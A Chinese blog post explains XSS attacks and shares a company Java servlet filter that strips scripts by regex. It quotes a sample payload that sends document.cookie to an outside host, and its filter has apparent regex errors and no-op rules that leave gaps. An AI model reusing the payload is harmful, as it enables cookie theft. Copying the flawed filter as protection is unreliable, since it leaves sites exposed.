zoukankan      html  css  js  c++  java
  • 关于web XSS注入问题

     对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,附带公司写的一个filer。

    对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门参考大量前辈们的心得,小小的总结一下,欢迎各位大神提点提点

    1.跨站脚本攻击(XSS)

    跨站脚本攻击的原理:

    XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

    跨站脚本攻击的危害:窃取cookie、放蠕虫、网站钓鱼 ...

    跨站脚本攻击的分类主要有:存储型XSS、反射型XSS、DOM型XSS

    XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为,通常难以看到XSS漏洞的威胁,而该病毒则将其发挥得淋漓尽致。

    XSS工作流程

    1)恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:

    http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>、参数<script>xxx</script>如果这里没有经过转义处理,则页面中就嵌入了一段script
    2)恶意提交这个表单
    3)其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。
     
    代码如下:

    public class XSSFilter implements Filter {

    // XSS处理Map
    private static Map<String,String> xssMap = new LinkedHashMap<String,String>();

    @Override
    public void destroy() {
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
    FilterChain chain) throws IOException, ServletException {
    HttpServletRequest httpReq = (HttpServletRequest)request;
    // 构造HttpRequestWrapper对象处理XSS
    HttpRequestWrapper httpReqWarp = new HttpRequestWrapper(httpReq,xssMap);
    chain.doFilter(httpReqWarp, response);
    }

    @Override
    public void init(FilterConfig arg0) throws ServletException
    {
    // 含有脚本: script
    xssMap.put("[s|S][c|C][r|R][i|C][p|P][t|T]", "");
    // 含有脚本 javascript
    xssMap.put("[\\\"\\\'][\\s]*[j|J][a|A][v|V][a|A][s|S][c|C][r|R][i|I][p|P][t|T]:(.*)[\\\"\\\']", "\"\"");
    // 含有函数: eval
    xssMap.put("[e|E][v|V][a|A][l|L]\\((.*)\\)", "");
    // 含有符号 <
    xssMap.put("<", "&lt;");
    // 含有符号 >
    xssMap.put(">", "&gt;");
    // 含有符号 (
    xssMap.put("\\(", "(");
    // 含有符号 )
    xssMap.put("\\)", ")");
    // 含有符号 '
    xssMap.put("'", "'");
    // 含有符号 "
    xssMap.put("\"", "");

    /**特殊字符URL编码没有对其进行转码*/
    xssMap.put("%", "%25");
    xssMap.put("#", "%23");
    xssMap.put("\\+", "%2B");

    }
    }

    web.xml 代码如下:

    <filter>
    <filter-name>XSSFilter</filter-name>
    <filter-class>com.autrade.webstage.filter.XSSFilter</filter-class>
    </filter>
    <filter-mapping>
    <filter-name>XSSFilter</filter-name>
    <url-pattern>/*</url-pattern>
    </filter-mapping>

  • 相关阅读:
    如何在局域网安装Redmine(转贴)
    介绍开源的项目管理系统-Redmine
    【转】ios开发证书,描述文件,bundle ID的关系
    【转】Spring+Mybatis+SpringMVC+Maven+MySql搭建实例
    【转】 Tomcat+redis+nginx配置
    【转】Java做服务器开发语言
    【转】程序员的五大陷阱
    一个简单的网页服务器
    【转】Eclipse中创建并运行Servlet项目
    【转】在Eclipse环境下配置Servlet开发环境
  • 原文地址:https://www.cnblogs.com/tjlboke/p/7483484.html
Copyright © 2011-2022 走看看